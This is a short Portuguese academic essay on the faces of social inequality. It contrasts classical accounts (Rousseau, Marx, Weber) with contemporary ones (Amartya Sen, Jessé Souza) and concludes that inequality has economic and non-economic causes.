CONSIDERAÇÕES SOBRE AS FACES DAS DESIGUALDADES ENTRE OS SERES HUMANOS

CONSIDERAÇÕES
SOBRE AS FACES DAS DESIGUALDADES ENTRE OS SERES HUMANOS

Francisco Fernandes
Ladeira

Especialista em:
Brasil, Estado e Sociedade pela UFJF

Email: [email protected]

Resumo: O presente
trabalho apresenta breves considerações sobre as diversas faces das
desigualdades entre os seres humanos. Para as concepções clássicas, as
desigualdades sociais estão relacionadas, sobretudo, à distribuição irregular
da renda e dos bens materiais. Em contrapartida, de acordo com as concepções
contemporâneas, os estudos sobre as desigualdades devem ir além da distribuição
de bens materiais e do fator renda. Dessa forma, as desigualdades também devem
ser associadas a fatores extra-econômicos e às oportunidades de vida.   

Considerações
Iniciais

            Compreender
as causas das desigualdades entre os seres humanos é um dos principais desafios
dos cientistas sociais.                                                                                  

            Na
Grécia Antiga, berço do pensamento ocidental, acreditava-se que as desigualdades
entre os homens eram inatas. Desse modo, certos indivíduos eram naturalmente
propensos a serem escravos, outros a serem senhores, alguns adaptados a
trabalhos manuais e outros exclusivamente às atividades intelectuais.

Há […] por obra da natureza e para a conservação das
espécies, um ser que ordena e um ser que obedece. Porque aquele que possui
inteligência capaz de previsão tem naturalmente autoridade e poder de chefe; o
que nada mais possui além da força física para executar, deve, forçosamente,
obedecer e servir […] Os bárbaros a mulher e o escravo se confundem na mesma
classe. Isso acontece pelo fato de não lhes ter dado a natureza o instinto do
mando […] (ARISTÓTELES, p. 14).

            Evidentemente,
essa concepção equivocada não é mais admitida. Sabemos que as desigualdades não
são naturais, mas socialmente construídas ao longo de um processo histórico
marcado pelas diferenciações entre os seres humanos.                                                        Para
a concepção clássica, representada principalmente pelos pensamentos de Karl
Marx e Max Weber, as desigualdades sociais estão relacionadas, essencialmente, à
distribuição irregular da renda e dos bens materiais.                                                                    Em
contrapartida, para alguns intelectuais contemporâneos, os estudos sobre as desigualdades
devem ir além da distribuição de bens materiais e do fator renda. Para estes
autores, as desigualdades também devem ser associadas a fatores
extra-econômicos (raça, gênero, nacionalidade) e às oportunidades de vida.                                                                                  

Concepção
Clássica

            Um
dos primeiros pensadores modernos a tratar exaustivamente o tema das
desigualdades sociais foi Jean-Jaques Rousseau.

Concebo na espécie humana duas espécies de
desigualdade. Uma, que chamo de natural ou física, por que é estabelecida pela
natureza e que consiste na diferença das idades, da saúde, das forças do corpo
e das qualidades do espírito ou da alma. A outra, que pode ser chamada de
desigualdade moral ou política porque depende de uma espécie de convenção e que
é estabelecida ou pelo menos autorizada pelo consentimento dos homens. Esta
consiste nos diferentes privilégios de que gozam alguns em prejuízo dos outros,
como ser mais ricos, mais honrados, mais poderosos do que os outros ou mesmo
fazer-se obedecer por eles (ROUSSEAU, p. 27).                                                                                 

            Sendo
assim, segundo Rousseau, o chamado mundo civilizado, através dos séculos,
fomentou profundas diferenças entre os homens, sendo que as desigualdades
sociais surgem com o aparecimento da propriedade privada.

O primeiro homem que cercou um pedaço de terra, que
veio com a ideia de dizer “isto é meu” e encontrou gente simples o bastante
para acreditar nele, foi o verdadeiro fundador da sociedade civil. 
Quantos crimes, guerras e assassinatos derivam desse ato! De quanta miséria e
horror a raça humana poderia ter sido poupada se alguém simplesmente tivesse
arrancado as estacas, enchido os buracos e gritado para seus companheiros: “Não
dêem ouvidos a este impostor. Estarão perdidos se esquecerem que os frutos da
terra pertencem a todos, e que a terra, ela mesma, não pertence a ninguém”
(ROUSSEAU, p. 14).

            Para a Marx, as desigualdades sociais podem ser compreendidas
através da irregular distribuição dos meios de produção.                                                                                                 Segundo
o pensamento marxiano a história se desenvolve de forma linear, em diferentes
etapas, movidas, sobretudo, pelas contradições originadas da organização do
sistema de produção (luta de classes). “Em um caráter amplo, os modos de
produção asiático, antigo, feudal e burguês moderno podem ser considerados como
épocas progressivas da formação econômica da sociedade”. (MARX, 1977, p. 23).

Na sociedade capitalista existem duas classes sociais básicas: de um lado
a burguesia, detentora dos meios de produção; e de outro lado o proletariado,
que possui somente a sua força de trabalho[1].
“[…] Opressores e oprimidos, sempre estiveram em constante oposição uns aos
outros […]” (MARX, 2000, p. 45).

Sendo assim, a classe operária, explorada pelos patrões, deve se
organizar e promover a revolução socialista, transformando os meios de produção
em propriedades coletivas[2].

            Portanto,
para o pensamento marxiano, o fim das desigualdades sociais passa,
inexoravelmente, pela destruição do modo de produção capitalista, culminando
com o advento do comunismo. “Em lugar da antiga sociedade burguesa, com suas
classes e seus antagonismos de classes, surge uma associação na qual o livre
desenvolvimento de cada um é condição para o livre desenvolvimento de todos”
(IDEM, p. 67).

            Max
Weber percebe as diferenciações entre os indivíduos a partir das variáveis propriedade,
poder e prestígio. Assim, as diferenças de propriedade criam as classes;
as diferenças de poder criam os partidos políticos; e as diferenças de
prestígio criam os agrupamentos de status ou estratos.                                                                                       

Concepção
Contemporânea

            Por
outro lado, autores contemporâneos, apesar de não negarem as interpretações
clássicas sobre as desigualdades, procuram incluir fatores imateriais e
extra-econômicos nas análises sobre as distinções sociais.

            Para
Amartya Sen, as análises sobre as desigualdades devem se deslocar dos espaços
de renda para o espaço de funcionamentos.                                                                                      De
acordo com o economista indiano, funcionamentos são os desejos e aspirações que
um indivíduo consegue realizar vivendo de uma determinada maneira. Assim, mais
importante do que a questão monetária, é focalizar como determinado rendimento
pode se transformar em realizações e melhorar a autoestima individual.

            Jessé
Souza, sociólogo da Universidade Federal de Juiz de Fora, salienta que os
estudos sobre as classes sociais precisam superar as abordagens tradicionais.                                    Rejeita
assim, tanto o liberalismo economicista, que vincula classe ao rendimento
monetário; quanto o pensamento marxista clássico, que associa classe à posição
de um indivíduo em relação ao modo de produção vigente.

            Aspectos
econômicos e ocupacionais são condições necessárias, porém não suficientes,
para definir uma classe.                                                                       

Classes sociais não são determinadas pela renda, nem
pelo simples lugar na produção, mas sim por uma visão de mundo “prática” que se
mostra em todos os comportamentos e atitudes. […] O economicismo liberal,
assim como o marxismo tradicional, percebe a realidade das classes sociais
apenas “economicamente” (SOUZA, 2010, pp. 22, 45).

            Desse
modo, essas interpretações não levam em conta “[…] o mais importante, que é a
transferência de valores imateriais na reprodução das classes sociais e de seus
privilégios no tempo” (IDEM, p. 23).

Considerações
Finais  

            Entretanto,
é controverso menosprezar a importância do fator renda para se aferir as
desigualdades sociais. Basta levarmos em conta que, em uma sociedade
capitalista como a nossa, onde praticamente todas as relações sociais são
regidas pela lógica mercantil, um rendimento monetário básico é condição sine
qua non
para que um indivíduo possa viver com o mínimo de dignidade e
suprir suas necessidades vitais.

            Contudo,
ao focalizar somente a variável renda para se analisar as desigualdades, cometemos
o equívoco de apresentar uma visão incompleta e simplista sobre o tema.

            As
verdadeiras faces das desigualdades não se manifestam apenas no aspecto
econômico. Estão presentes nos antagonismos raciais, sexuais, nacionais
comportamentais, etc.                                                                                                                                                    É
importante salientar que nos Estados Unidos, por exemplo, para se medir o
status de um indivíduo, a cor da pele, em várias ocasiões, é mais importante do
que a conta bancária.   Já em países extremamente religiosos, notadamente nas
sociedades muçulmanas, as mulheres, mesmo possuindo uma condição financeira
favorável, são menos valorizadas socialmente do que os homens pobres.                                                                                         Em
suma, as causas das desigualdades sociais são extremamente complexas, não podem
ser atribuídas a um único fator.                                                                                Contudo,
as desigualdades, ao serem historicamente construídas, também podem ser
historicamente minimizadas.                                                                                                                Desse
modo, mais importante do que entender as origens das desigualdades entre os
seres humanos, é propor formas pragmáticas de extirpá-las[3].

            E
esta tarefa não está a cargo apenas dos intelectuais. Consiste, talvez, no
maior desafio para a nossa sociedade neste início de século.


NOTAS

[1] “O operário moderno, […] ao invés de se elevar com
o progresso da indústria, desde cada vez mais, caindo inclusive abaixo das
condições de existência de sua própria classe” (MARX, 2000, p. 56).

[2] “[…] A burguesia não forjou apenas as armas que lhe
trarão a morte; produziu também os homens que empunharão essas armas – os
operários modernos, os proletários” (MARX, 2000, p. 51).

[3] Lembrando as palavras de Marx, mais importante do que
interpretar o mundo, é ter o atrevimento de transformá-lo.

REFERÊNCIAS
BIBLIOGRÁFICAS

ARISTÓTELES. A Política. Tradução
de Nestor Silveira Chaves.  São Paulo: Escala, sd.

MARX, Karl. Contribuição à
crítica da economia política
. São Paulo: Martins Fontes, 1977.

MARX, Karl; ENGELS, Friedrich. Manifesto
do Partido Comunista
. Tradução de Pietro Nassetti. 2.ed. São Paulo: Martin
Claret, 2000. 

ROUSSEAU,
Jean-Jacques. Discurso sobre a origem da desigualdade entre os homens
São Paulo: Escala, sd.

SEN, Amartya. Desigualdade
Reexaminada
. 2. ed. Rio de Janeiro: Record, 2008.

SOUZA, Jesse.
(Org.) Os Batalhadores Brasileiros – Nova classe média ou nova classe trabalhadora? Belo Horizonte: UFMG, 2010.

WEBER, Max. Ensaios
de Sociologia
. 5. ed. Rio de Janeiro: Guanabara, 1982.

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